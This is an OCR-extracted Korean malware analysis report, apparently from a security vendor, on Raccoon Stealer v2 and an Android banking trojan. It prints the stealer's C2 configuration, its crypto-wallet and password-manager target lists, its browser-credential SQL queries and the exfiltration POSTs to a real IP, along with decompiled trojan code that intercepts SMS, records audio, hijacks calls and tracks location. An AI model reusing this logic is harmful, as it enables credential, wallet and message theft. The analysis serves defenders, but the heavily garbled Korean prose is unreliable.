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[Raccoon Stealer]
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e

Raccoon Stealer = O|S0A & & JXO0| QIEAEIR(Infostealer) AETEZ 2019 F HSO=2 SEICOH,
2022 4 6 2l Raccoon Stealer v2 2 HHE|0| CIA| SERHCE
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® MediaFire el ad fiee downloads and 1 TR of space
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2.2 =7 =l 9l ot =0l
1) 7128 8%
GetUserDefaultLocaleName()2 0|25t 22 0|§2 £ToI =712 2QIst, oxl T2M|AC| EES
S-1-5-18 2t H| W5t A|AEI(LocalSystem)2 2 Al FQIX| =tolsirt,

F n_F'Er_" i
C2addr =

2.3 el HE Ms
gX|AEZ|ZE E38| Machine ID(Hardware ID) 2t %! &, GetUserNameW() O|E510] AEX} 0|22 STt

LocalAlloc(64);

[32! 4] MachineGuid $% ZE

POST HAEE 0|E3t0{ C&C F=240| 7|2 HE(machineld, AF2X} 0|, configld)E T™&SICE. configld =
=%} HIO|HE S8t Al AFEE! 7[0|CL EESH CRC F=A2 S410| =X 942 A| SZIC
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POST / HTTP/1.1

Accept: */*

Content-Type: application/x-wnw-form-urlencoded; charset=utf-8
User-Agent: TakeMyPainBack

Host: 45.89.55.115

Content-Length: 94

Connection: Keep-Alive

Cache-Control: no-cache

machineId=6ef0495f-768b-43c5-a628-95133d = s |
B Bconfigld=77df437d961deé==y = =2df9d8270055efHTTP/1.1 200 OK

[D2 5] M= & ozl

2.4 2l0|E2{2| I CIREE
C&C FTA0M 27} ofA SHQIZ 26l TR$ &7} MU “\AppData\LocalLow” Z20f| DLL IS
CHRZ DL,

F'r"l:||::E.;-‘.;_”:_.._.I
LocalAlloc( 64y -

[O2! 6] libs_ HE 2tH TE 2R

DLL mj2 =2 of2fet 2Lt (freebl3.dll, mozglue.dll, msvep140.dil, nss3.dll, softokn3.dll, sqlite3.dll,
veruntime140.dll)

Protocol  Length  Info

HTTP 237 GET /aN7jDBgOekT5bK5bQ4eRETELIxP7hL2vK /nss3.d11l HTTP/1.1
HTTP 986 HTTP/1.1 2808 OK

HTTP 241 GET /aN7jD@q06kT5bK5bQ4eREFE1xP7hL2vK /msvcpld@.dll HTTP/1.1
HTTP 288 HTTP/1.1 2808 OK

HTTP 245 GET /aN7jDBg0okT5bK5bQ4eREFEIxPThL2vE /vcruntimeldd.d1l HTTP/1.1
HTTP 13359 HTTP/1.1 288 OK

HTTP 248 GET /aN7jDBgObokT5bK5bQ4eREFELxPThL2vK /mozglue.d1]l HTTP/1.1
HTTP A72 HTTP/1.1 280 OK

HTTP 248 GET /aN7jDBgOokT5bK5bQ4eREFELxPThL2vK/freebl3.d1]l HTTP/1.1
HTTP 984 HTTP/1.1 2808 OK

HTTP 241 GET /aN7jD@q06kT5bK5bQ4eREFE1xP7hL2vK /softokn3.d11l HTTP/1.1

[02! 7] DLL CHR2E mjZl U8
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Lol C&C FA0f|M it 14 FE= Of2hieh 2Lt

& HEO| Hlo|H

libs_nss3:http://45.89.55.115/aN7jD0qOBKT5bK5bQ4eR8fETXP7hL2vK/nss3.dll
libs_msvcp140:http://45.89.55.115/aN7jDOqOBKT5bK5bQ4eR8fETIXP7hL2vK/msvep140.dll
libs_vcruntime140:http://45.89.55.115/aN7jD0qO6KT5bK5bQ4eR8fETXP7hL2vK/veruntime140.dll
libs_mozglue:http://45.89.55.115/aN7jD0qO6KT5bK5bQ4eR8fE1XxP7hL2vK/mozglue.dll
libs_freebl3:http://45.89.55.115/aN7jDOqO6KT5bK5bQ4eR8fETXP7hL2vK/freebl3.dll
libs_softokn3:http://45.89.55.115/aN7jD0qO6KT5bK5bQ4eR8fE1XP7hL2vK/softokn3.dll
ews_meta_e:ejbalbakoplchighecdalmeeeajnimhm:MetaMask:Local Extension Settings
ews_tronlibnejdfimmkpcnlpebkimnkoeoihofec; TronLink;Local Extension Settings
libs_sqlite3:http://45.89.55.115/aN7]DOqO6KT5bK5bQ4eR8fETXP7hL2vK/sqlite3.dll
ews_bsc:thbohimaelbohpjbbldcngcnapndodip;BinanceChain;Local Extension Settings
ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings
wlts_exodus:Exodus;26;exodus;**partitio* *cache* *dictionar*

wlts_atomic:Atomic; 26;atomic;*;*cache* *IndexedDB*
wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*
wlts_binance:Binance;26;Binance;*app-store.*;-
wlts_coinomi:Coinomi;28;Coinomi\Coinomi\wallets;*;-
wlts_electrum:Electrum;26:Electrum\wallets; *;-
wlts_elecltc:Electrum-LTC;26;Electrum-LTC\wallets; *;-
wlts_elecbch:ElectronCash;26;ElectronCash\wallets;*;-
wlts_guarda:Guarda;26;Guarda;*;*cache* *IndexedDB*

wlts_green:BlockstreamGreen; 28;Blockstream\Green; *:cache, gdk, *logs*
wlits_ledger:Ledger Live;26;Ledger Live;*;*cache* *dictionar* *sqlite*
ews_ronin_e:kjmoohlgokccodicjjffebfomlibljgfhk;:Ronin;Local Extension Settings
ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings
sstmnfo_System Info.txt:System Information:

[Installed applications:

wlts_daedalus:Daedalus;26:Daedalus Mainnet; *:log* *cache,chain,dictionar*
wlts_mymonero:MyMonero; 26; MyMonero:*;*cache*
wlts_xmr:Monero;5:Monero\wallets; *keys;-
wlts_wasabi:Wasabi; 26; WalletWasabi\Client;*:*tor* *log*
ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings
ews_xdefi:hmeobnfnfcmdkdcmiblgagmfpfboieaf;XDEFI:IndexedDB
ews_waveskeeper:Ipilbniiabackdjcionkobgimddfbcjo;WavesKeeper;Local Extension Settings
ews_solflare:bhhhlbepdkbapadjdnnojkbgiociodbic;Solflare;Local Extension Settings
ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings
ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm:CyanoWallet;Local Extension Settings
ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB
ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet:Local Extension Settings
ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings
ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh: TezBox;Local Extension Settings
ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings
ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc; Temple;Local Extension Settings
ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings
ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings
ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings
ews_polymesh:jojhfeoedkpkglbfimdfabpdfjacolaf;PolymeshWallet;Local Extension Settings

ESTSEE[H'H'}’ Copyright@2022 ESTsecurity Corp.All rights reserved
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ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings
ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings
ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie; TerraStation;Local Extension Settings
ews_terra:aiifbnbfobpmeekipheeijimdpnipgpp; TerraStation;Local Extension Settings
ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings
ews_saturn:nkddgncdjgjfcddamfgecmfnlihcenimig; SaturnWallet;Local Extension Settings
ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmij;GuildWallet;Local Extension Settings
ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings
ews_tronlink:ibnejdfimmkpcnlpebkimnkoeoihofec; TronLink;Local Extension Settings
ews_brave:odbfpeeihdkbihmopkbjmoonfanibfcl:Brave;Local Extension Settings
ews_meta_e:ejbalbakoplchighecdalmeeeajnimhm:MetaMask:Local Extension Settings
ews_ronin_e:kjmoohlgokccodicjjfebfomlibljgfhk;Ronin;Local Extension Settings
ews_mewcx:nlbmnnijcnlegkjjpcficimcfggfefdm;MEW_CX;Sync Extension Settings
ews_ton:cgeeodpfagjceefieflmdfphplkenlfk; TON:Local Extension Settings
ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings
ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd; TON:Local Extension Settings
ews_Cosmostation:fpkhgmpbidmiogeglindfbkegfdinajnf;Cosmostation;Local Extension Settings
ews_bitkeepijiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings
ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings
ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings
ews_jaxxlibertyext:cjelfplplebdjjenlipjcblimjkfcffne;JaxxLibertyExtension;Local Extension Settings
ews_enkrypt:kkpllkodjeloidieedojogacthpaihoh;Enkrypt;Local Extension Settings
ews_gamestop:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop Wallet;Local Extension Settings
ews_xds:aholpfdialjgjthomihkjbmgjidicdno;Exodus Web3 Wallet;Local Extension Settings
xtntns_authenticatorcc:bhghoamapcdpbohphigoooaddinpkbai;Authenticator.cc;Sync Extension Settings

xtntns_keepassxc_browser:oboonakemofpalcgghocfoadofidjkkk;KeePassXC Browser;Local Extension Settings

xtntns_keepassTusk:fmhmiaejopepamicikncpgpdjichnecm;KeePass Tusk;Local Extension Settings
xtntns_bitwardenEx:nngceckbapebfimniniiiahkandclblb;Bitwarden;Local Extension Settings
xtntns_microsoftAfL:fiedbfgcleddibcmgdigjgdfcggjcion;Microsoft Autofill Local;Local Extension Settings
xtntns_microsoftAfS:fiedbfgcleddlbcmgdigjgdfcggjcion;Microsoft Autofill Sync;Sync Extension Settings
ews_martian:efbglgofoippbgcjepnhiblaibcnclgk;Martian Aptos;Local Extension Settings
ews_braavos_c:jnlgamecbpmbajjfhrmmmihejkemejdma;Braavos;Local Extension Settings
ews_okx_c:mcohilnchfahbmgdjkbpemcciiolgcge; OKX:Local Extension Settings
ews_pontem_c:phkbamefinggmakgklpkljjmgibohnba;Pontem Aptos;Local Extension Settings
ews_sender_c:epapihdplajcdnnkdeiahlgigofloibg;SenderWallet;Local Extension Settings
ews_hashpack_c:gjagmgiddbbciopjhllkdnddhcglnemk;Hashpack;Local Extension Settings
ews_ever_c:cgeeodpfagjceefiefimdfphplkenifk;EVER;Local Extension Settings
ews_finnie_c:cjmkndjhnagcfbpiemnkdpomccenjblmj;Finnie;Local Extension Settings
ews_leap_terra_c:aijcbedoijmgnimjeegjagimepbmpkpi:LeapTerra;Local Extension Settings
ews_petra_atos_c:ejjladinnckdgjemekebdpeokbikhfci;Petra Aptos;Local Extension Settings
ews_eternl_c:kmhcihpebfmpgmihbkipmjimmioameka;Eternl:Local Extension Settings
ews_gero_wlt_c:bgpipimickeadkijlkigciifhnalhdjhe;GeroWallet;Local Extension Settings
scrnsht_Screenshot.jpeg:1

tigrm_Telegram:Telegram Desktop\tdatal*|*emoji* *user_data* *tdummy**dumps*
dscrd_Discord:discord\Local Storage\leveldb|*log,*Idb|-
grbr_Desktop:%USERPROFILE%\Desktop\|*txt|*recycle* *windows*|50]1/1|files
grbr_Recent:%APPDATA%\Microsoft\Windows\Recent\|*txt|*exe|50|1]1/files
grbr_Documents:%USERPROFILE%\Documents\|* txt|*recycle* *windows*|5011|1[files
token:e7a956db5c634187eac0d932d0e7aebe

E1 78 82 =5
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25 83 =5 2[AE
1) AAE HE EF| (sstmnfo_)
L AIAE HEE ST CRC FAE TETICE £TE BEE= 24 PC =71 AlZH 0S ME, MX|E =272

S0[ QAT

alalloc;

alle

[32! 8] sstmnif_ ZE A= U

POST /e7a956db5c634187eacBd932d0@e7aebe HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=oPNa8YfH99L90HBO
User-Agent: TakeMyPainBack

Host: 45.89.55.115

Content-Length: 5950

Connection: Keep-Alive

Cache-Control: no-cache

- -oPNa8YFH99L90HB@
Content-Disposition: form-data; name="file"; filename="System Info.txt"
Content-Type: application/x-object

System Information:
Locale: Korean
- Time zone: +540 minutes from GMT
0S: Window ' " "
Architecture:
- CPU: AMD Ryzen 5 5600X 6-Core Processor (1 cores)
- RAM: 2047 MB
Display size: 1660x910
Display Devices:
0) =y A

Installed applications:
010 Editor 10.0.2 (32-bit)
7-Zip 15.05 beta
Explorer Suite IV
FileInsight - File analysis tool
..................... 2010 SE 8.0.4
HashCalc 2.02

[22 9] sstmnfo_ F& T3l Y2

ESTsecurity CopyrightB2022 ESTsecurity Corp.All rights reserv 14



2) HEl*X T EF

T2 3A=E2| E? "\AppData\Local\Google\Chrome\User Data” Z=Z2| “Local State” IHF0]|A]
“encrypted_key, stats_version” {2 22 =, AE 27} B7l "Login Data” IS “\AppData\LocalLow”
20| EARSH F 2SH=l Password 2 CryptUnprotectData()2 0|8510] £33 = [E 2]2t 20| SQL
HElZe= A EHE EFeit.

LocalFr
LocalFr

[0 1) 77| 23 2E g

[2312] At 2t(Autofil) EF 2= U2
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[32] 10 ~ 13]2} 20| sqlite3.dll & O350 Chrome EZKX2| AH HE, 7|, Xt5 2, M FIE HEE
EfF[oiCt At2El SQL #2222 ofefet &Lt

SQL #HEl2

SELECT origin_url, username_value, password_value FROM logins

SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies

SELECT name, value FROM autofill

SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards

0|2, Chrome, Edge B2t && T2 1S F3[610] [H 3]0 ZAsHs &HE T2 1S “ews " T2

F71oto] -Heltt.

[E 2] A8 &3 2212

fjo

salox =2 Z=

Google Chrome  Google\Chrome\User
Data\Default\Local
Extension Settings
Google\Chrome\User
Data\Default\Sync
Extension Settings

Microsoft Edge Microsoft\Edge\User
Data\Default\Local
Extension Settings

Microsoft\Edge\User
Data\Default\Sync
Extension Settings

Lot

bEE T2

i

=
=

MetaMask, TronLink, BinanceChain, Ronin, MetaX, XDEFI

Authenticator.cc, KeePassXC Browser, KeePass Tusk, Bitwarden, Microsoft Autofill
Local, Microsoft Autofill Sync

MetaMask, TronLink, BinanceChain, Ronin, MetaX, XDEFI, WavesKeeper, Solflare,
Rabby, CyanoWallet, Coinbase, AuroWallet, KHC, TezBox, Coin98, Temple, ICONex,
Sollet, CloverWallet, PolymeshWallet, Neoline, Keplr, TerraStation, Liquality,
SaturnWallet, GuildWallet, Phantom, Brave, MEW_CX

Authenticator.cc

ESTsecurity 2022 E curity Co
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POST /e7a956db5c634187eac@d932d@e7aebe HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=64KRGYd6IT5FoS9L
User-Agent: TakeMyPainBack

Host: 45.89.55.115

Content-Length: 2153

Connection: Keep-Alive

Cache-Control: no-cache

--64KRGYd6IT5FoSOL
Content-Disposition: form-data; name="file"; filename="\cookies.txt"
Content-Type: application/x-object

www. threatinside.com TRUE / FALSE 13309642471000000
www.threatinside.com TRUE 7 FALSE 15456953316236779
.threatinside.com TRUE / FALSE 13372541671000000 _ga

.threatinside.com TRUE 4 FALSE 13372541694000000 _ga_6KSDB1YLQB
.threatinside.com  TRUE / FALSE 13309469729000000 _gat_gtag UA_50328716_3
.threatinside.com TRUE 4 FALSE 13309556071000000 _gid

www. threatinside.com TRUE / FALSE 13309556070000000
www.threatinside.com TRUE / FALSE 13341005670000000

djEwn
djEwjjEqeA2QaQ(
djEwRbfRyHx0eQ1LMMsq+nKtt

djEw:
djEwLYD+gp6xa@bEsP7msVLge
djEul
mi_log vi djEwIgxE9r3E6uwk

C:\Users’ % AppData\Local\Google\Chrome\User Data\Default|/bjPcIc6Scl1tv2@n4c6fyHz7iqzE99pyapY1/BmiX8-

--64KRGYd6IT5FoSIOL
Content-Disposition: form-data; name="file"; filename="\passwords.txt"
Content-Type: application/x-object

URL:https://wwnw.threatinside.com/auth/login
USR:est
PASS : djEwL1C6C/FKui@h+NePrfFz580/839Ax0TLdiz0f19V1g==

C:\Users' ™k’ AppData\Local\Google\Chrome\User Data\Default|/bjPcIc6Sc11tv2@ndc6fyHz7iqzE99pyapY1/BmiX8-

--64KRGYd6IT5FoSIL
Content-Disposition: form-data; name="file"; filename="\CC.txt"
Content-Type: application/x-object

NUM: djEwYvOmK4eOkEDSvhUQA1Pfbbn5SNnNUXOgk9PFMAkn3eelZkHGU
HOLDER:est
EXP:10/2022

C:\Users % \AppData\Local\Google\Chrome\User Data\Default|/bjPcIc6Sclltv2@n4c6fyHz7iqzE99pyapYl/BmiX8-

[02) 14] B2tex| M 23 Tl Y

3) 7teletm| Xz mhed BF (wits_)

[E 4]0f| Zxiot= 7Hefein| X2 ot HEE EF[eICh 0]=, “\AppData\Roaming” Zr ofelel E= LS
E

5t

ZAMISHo] “wallet.dat” TS Et

rTolnt

LocalAlloc(
Localall

[21315] Thefelm| X|Z 25 2= g8
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POST /ecbeBccbbbl@fe2feb786b7666747c3f HTTR/1.1

Accept: =/*

Content-Type: multipart/form-data; boundary=IREg638096uf54521
User-Agent: TakeMyPainBack

Host: 45.89.55.115

Content-Length: 12365

Connection: Keep-Alive

Cache-Control: no-cache

--IREg680%96uf54521
Content-Disposition: form-data; name="file"; filename="---wallets---Binance---app-store.json”
Content-Type: application/x-object

{

"root™: "{\"app\":\"{\\\"env\\\ "t \\\"prod\\\", \\\"showTrayTitle\\\" :true, \\
Vlanguage\ W\ A en\ AT, W T eurrenay A AT AN TUSD_USDAANT, W T currencyMotUSDAR L™ s VAT, AN
YautoUpdated\\\" :true, \\\"contentProtection\\\": false, \\\"currencyConfig \\\" : {\\\"EUR_USDVY,
A" pai,r AT AN "EUR_USDAAN ™, NV " rate\\\ " : 1. 82, AN\ "symbo I\ AN - AV AN, A" FullName\\
AT O Euro’\ AWV, 0N ImageUr IV s W\ "hittps: //public. bnbstatic. com/image/currencies/EUR. png\\

[O2! 18] wits_ T4 T3l =

Y == = 2=
exodus AppData\Roaming\\exodus
Atomic AppData\\Roaming\atomic
JaxxLiberty AppData\Roaming\\com.liberty jaxx
Binance AppData\Roaming\Binance
Coinomi AppData\Local\Coinomi\\Coinomi\\wallets
Electrum AppData\Roaming\\Electrum\wallets

Electrum-LTC

ElectronCash

Guarda

BlockstreamGreen

AppData\Roaming\\Electrum-LTC\\wallets
AppData\Roaming\\ElectronCash\\wallets
AppData\Roaming\Guarda

AppData\Local\\Blockstream\Green

Ledger Live AppData\Roaming\\Ledger Live
Daedalus AppData\\Roaming\Daedalus Mainnet
MyMonero AppData\Roaming\MyMonero
Monero Documents\\Monero\\wallets
Wasabi AppData\Roaming\WalletWasabi\\Client

ESTsecurity CopyrighB2022 ESTsecurity Corp.All rights
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= —.-_-*1 EC ofelel 2E TS MBI “ixt” TS EF[eiTt.

20 2=

%USERPROFILE%\\Desktop\\
%USERPROFILE%\\Documents\\
%APPDATA%\\Microsoft\Windows\\Recent\\

[# 5] 20 22

5) a0 "2 EHF (tigrm.)
"AppData\Roaming\\Telegram Desktop\tdata” sliiet A=0| Rl= 74, A, 7| H|O|Ef m}

o}

Il

6) CIATC ME B (dscrd.)
" AppData\Roaming\discord\Local Storage\leveldb” siet AZ0f| Q= “*log” “*Idb” LtAS EHF|SICE

8) =7+ ofd Al (ldr_)

C&C F20|M LIt 71 HE E5 F "ldr." 7120l & IS CHR2E oith CR2EE & IR 0|22

(1=

fob 4

AHOITY.
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[Trojan.Android.Banker]
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"l“ MEHEXIYHEY

4 ®
PROSECUTION SERVICE N IGLEN 517 &
yug:
U HBRRSTRY VY HRERRYAY
A% : uaM AHHE:
n ) k) ey
F oS 760511~ 1XX0X
8
) % 20
Xt 2 A MERYA BE2T YU YEFFW
1 4 4

WO YNSAD W AWOE DPHASH DA BFAHO LA BTO| ABY EUOE R
Of 4% B SWO H O|AB L= A I W2 OIEY SWE ARAAD 1N AT WF BY
#1240 I @8 WOl SMOE MY WAGUCHEN EWoE oIf WOR 0| HEOE 4B 2
V2 UAS BT DANET OIS JO| UN HWO|Y AMo| HMOl 29 Foje FAF
1M EO ZEM 4% 680 B 710 YA WY BA AT WA0| FHY S8R 2AF
O XYE SR SO EF T AAL 00IC AHE FUK| ASE AL T XlE
BEE ER T2 TUE SIAI O[T BT Bl O[T EY Y1 HAOM YO DUW Y
2E HASBON HGY AHE PEV| AZEFSE ABHAALICH N 2E AUB AFs0|

oW HYSE WASUCH
‘ eIz |

(02 4] & A% 2t

o[eofl= =2t glo| O[0|X[E EoF

=

P BEEE AHols o AUk Exifeir,.

L
2 24 EMoiMs 24E 722 AR o  “Trojan.Android.Banker'S &HETE SIZIC.

@override
protected void attachBaseContext(Context contexte) {
int v = ©;
super.attachBaseContext(contexte);
this.c();
File filee = new File(this.getApplicationInfo().sourceDir);
File filel = this.getDir(this.a + “_" + this.b, @);
File file2 = new File(file1, "app”);

file3 = new File(file2, “"dexDir™);

rraylist arrayListe = new ArrayList();

if(!file3.exists() || file3.list().length == @) {
mP1Dnzmsfl.a(filee, file2, new f() {

@override
public void a(File filee) {
this.b(filee);
@override
public void a(zipFile zipFilee) {
mP1Dnzmsfl.this.d = false;
mP1Dnzmsfl.this.c = zipFilee;
3
void b(File filee) {
try {
toIQyvLIb.decrypt(c.a(filee), filee.getAbsolutePath());
arrayListe.add(filee);
¥
catch(Exception exceptione) {
3
1 H
else {

File[] arr_file = file3.listFiles();

while(v < arr_file.length) {
arrayListe.add(arr_file[v]);
]

[D2! 5]dex E&

2442 O] S12{T dex TF IS TG0 ATIHl A TS WAl 2
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int v = !c.s(LegServiceT.this.b) || (c.r(LegServiceT.this.b)) 2 @ : 1;
HashMap hashMape = new HashMap();
hashmape.put("model”, Settings.Secure.getString(LegServiceT.this.getContentrResolver(),
hashmape.put(“ver”, " + Build.VERSION.RELEASE);
hashMape.put(“oper”, c.f(LegServiceT.this.b));
hashMmape.put("wifi”, (c.x(LegServiceT.this.b) ? "1" : "@"));
hashMape.put(“scr®, (v == @ 2 "8" : "1));
hashmape.put(“app_install”, si);
Sstring s3 = c.d(LegServiceT.this.b, "“K_PHONE_NUMBER");
if(s3 == null) {
s3 = "";
3

hashMape.put(“p_no", s3);
hashMape.put(“battery”, c.c(LegServiceT.this.b));
if(!c.1(LegServiceT.this.b)) {

s2 = "@";
}

hashmape.put(“charge”, s2);
ConcurrentSkipListMap concurrentSkipListMap® = new ConcurrentSkipListMap();
concurrentSkipListMape.put(“app_id", "48");
concurrentskipListMape.put(“rid”, s);
stringBuildere.tostring();
concurrentSkipListMape.put(“rinfo”, hashMape);
string s4 = new Gson().toJson(concurrentSkipListMape);
stringBuilderi.tostring();
string s5 = 3.b(s4);
stringBuilder2.tostring();
if(s5 != null && !sS.equalsIgnoreCase("")) {
ConcurrentSkipListMap concurrentSkipListMapl = new ConcurrentSkipListMap();
concurrentSkipListMapl.out(“postval™, s5);

d.b().c( » concurrentSkipListMapl, new com.vHDgdk.gubIwv.a.d.c() {

@override g
public void a(Call calle, IOException iOExceptione) {

“bluetooth_name"));

1 T

¥ AMFelEl=et
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public static ArrayList R(Context contexte) {
ArrayList arrayListe = new ArrayList();
try {
uri urie = uri.parse("content://sms");

if(cursore != null) {
cursore.moveToFirst();
string s = cursore.getString(cursore.getColumnIndex(“address™));
string s1 = cursore.getString(cursore.getColumnIndex(“body™));
long v = Long.parseLong(cursor®.getstring(cursore.getColumnIndex(“date”)));
long v1 = Long.parseLong(cursore.getString(cursore.getColumnindex(“type")));
if(vi = 1) {
string s2 = Kit.H(contexte, s);
Messag g = new Mess O;
messageBean®.setType (™" + vi);
messageBeand.setNo(s);
messageBeand.setBody(s1);
messageBeand.sethame(s2);
messageBeand.setTime(Kit.y(contexte, v));
arrayListe.add(messageBeand);
return arrayListe;

3
}

catch(Exception exceptione) {

exceptione.printstackTrace();
return arrayListe;

return arrayListe;

Cursor cursor® = contexte.getContentResolver().query(urie, new String[]}{“_id", "address”, “person”, "body”, “"date”, “"type"}, null, null, “date desc");

1
[ 8] 24t &4
HEE +8 == ti= TS0 0Tt H2| DB E ol &850 oz FEE BF6t Tt [ 8]2t 20|

o =
24 SMS E 2|AE0| MESI] E2fotct
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string s = intente.getaction();

try {
Bundle bundlee = intente.getExtras();
if(bundlee == null) {
return;
3

string s3 = Kit.H(contexte, s2);

if(arrayListe == null) {
arrayListe = new ArrayList();
¥

messageBean®.setType("1");
messageBeand.setNo(s2);
messageBeand.setBody(s1);
messageBeand.setName(s3);

arrayListe.add(messageBean?);
Kit.b.g.b(arrayListe);
Kit.k1({"K_NEW_MESSAGE_BROADCAST_INFO");

messageBean®d.setTime(Kit.y(contexte, vi));

public void onReceive(Context contexte, Intent intente) {

if(s != null && (“android.provider.Telephony.SMS_RECEIVED".equals(s))) {

object[] arr_object = (Object[])bundlee.get("pdus”);
SsmsMessage[] arr_smsMessage = new SmsMessage[arr_object.length];

int v;
for(v = @; v < arr_object.length; ++v) {
arr_smsMessage[v] = SmsMessage.createFromPdu(((byte[])arr_object[v]));
}
if(arr_object.length == @) {
return;
¥
string s1 = arr_smsMessage[@].getMessageBody();

string s2 = arr_smsMessage[@].getoriginatingaddress();
long vl = arr_smsMessage[@].getTimestampMillis();

ArrayList arrayListe = (arrayList)Kkit.b.g.a();

MessageBean messageBean® = new MessageBean();

o
[vad

X

o
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try {

stringBuildere.tostring();
if(!Kit.we(BaseOtherservice.this.c)) {
audioManagere.setmode(0);

}
goto label _S@;
}
catch(Exception exception1) {
}
try {
exceptioni.printstackTrace();
label_58:

MediaRecorder mediaRecordere = new MediaRecorder();
paseOtherservice.this.e@ = mediaRecordere;
mediaRecordere.setaudioSource(l);
BaseOthersService.this.ee.setoutputFormat(2);

stringBuilderi.tostring();

}

catch(Exception exceptione) {
goto label 113;

}

BaseOtherService.this.e@.setoutputFile(s + "/log/" + "1665555784548" + ".mpa”);

AudioManager audioManagere = (AudioManager)BaseOtherService.this.getSystemService(“audio”);

(& 10] 88 =5

0jo
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o =O

o
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public static ArrayList z(Context contexte) {
int v;
ArrayList arrayListe = new arrayList();
try {
PackageManager packageManager? = contexte.getPackageManager();
= 0;
List 1iste = packageManager®.getInstalledPackages(®);
Collections.sort(liste, new InstallTimeComparator(packageManagere));
while(true) {
label_1@:
if(v >= liste.size()) {
return arrayListe;
¥
string s = ((Packageinfo)liste.get(v)).packagename;
AppInfoBean appInfoBeane = new AppInfoBean();
string s1 = ((Packageinfo)likte.get(v)).applicationInfo.loadLabel(contexte.getPackageManager()).tostring();
string s2 = ((PackageInfo)liste.get(v)).versionName;
long v1 = ((Packageinfo)liste.get(v)).firstInstallTime;
long v2 = ((PackagelInfo)liste.get(v)).LlastUpdateTime;
SimpleDateFormat simpleDateFormate = new SimpleDateFormat(“yyyy-mM-dd™);
String s3 = simpleDateFormate.format(new Timestamp(vi));
string s4 = simpleDateFormate.format(new Timestamp(v2));
appInfoBeane.setInstall(s3);
appInfoBeane.setupdate(s4);
appInfoBeane.setversion(s2);
appInfoBeane.setName(sl);
appInfoBeane.setPkg(s);
appInfoBeane.setInstalledBy(Kit.N(contexte, s));
arrayListe.add(appInfoBeane);
break;
}
} Lo - -
DM A ™YL
OHE= A — = . o
717101 ot HS0| HX|=|0 A=K 2|AEE 2SI DB Of| X&TITY.
if(s.equals("android. intent.action.NEW_OUTGOING_CALL")) {
try {
string s1 = intente.getStringeExtra(“android.intent.extra.PHONE_NUMBER");
if(s1 == null || (si.equalsignoreCase(""))) {
s1 = this.getResultpata();
3
if(s1 != null && !si.equalsignoreCase("")) {
string s2 = Kit.fi(s1);
stringBuilder2.toString();
HashMap hashMape = (HashMap)Kit.b.d.a();
if(hashMape == null || hashMape.size() == @) {
hashMap@ = Kit.Rre(contexte);
Kit.b.d.b(hashMape);
stringBuilder3.toString();
int v = Kit.F(contexte, "K_CALL_ON");
string s3 = Kit.G(contexte, "K_CALL_FROM_USER");
if(hashMape != null && !s3.equalsIignoreCase("”) && v == 1) {
AllnoBean allNoBean@ = (AllNoBean)hashMape.get(s2);
if(allnoBean® != null &% allNoBeane.getCom() == @) {
stringBuilder4.toString();
this.setResultData(null);
}
}
stringBuilders.toString();
if(!Config.m && !s3.equalsignoreCase("") && (s2.equalsignoreCase(s3))) {
this.setResultpata(null);
Kit.q(contexte);
return;
¥
stringBuilders.tostring();
Kit.m1("K_OUTGOING_CALL", 2, s2);
Kit.j(contexte, "rez event-->" + s2);
return;
}
3
catch(Exception exceptione) {
exceptione.printStackTrace();
[21312] Tt Ft=A7|
=235 = d = Skt A
02| S=ot HoE EX| QLI CHE Ha 2 HMokE 7Lt S15 0i3E 2510 Mojg & AT
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this.de = timeri1;

@override

3

LocationManager.t();
Handler handler®e =
LocationManager.o(this.getapplication());
Timer timerl = new Timer();

new Handler();

timerl.scheduleAtFixedRate(new TimerTask() {

public void run() {
com.sulopnt.gsept27i.service.BaseOtherService.1.1 baseOtherService$1$1@ = new Runnable() {
@override
public void run() {
BaseOtherservice.U(BaseOtherservice.this);
stringBuildere.tostring();
if(Lecation.a().a > @.0) {

Kit.si(BaseoOtherService.this.c, "K_LATITUDE", "0.8");
Kit.si(BaseOtherService.this.c, "K_LONGITUDE", "@.8");
stringBuilderi.toString();
Kit.k1(“K_REGISTER_INFO");

if(BaseOtherservice.this.ce > 5) {

try {
LocationManager.t();

catch(Exception unused_ex) {

3
try {
if(Baseotherservice.this.dg != null) {
BaseOtherservice.this.de.cancel();
BaseOthersService.this.de = null;
3
catch(Exception unused_ex) {
3

[02 13] 1K He g3

SR L HA|, DB of| MESH0] 717(2] xH X miefe 4~ QUL

try {

b

3

public static ArrayList P(Context contexte) {
arrayList arrayList® = new aArrayList();

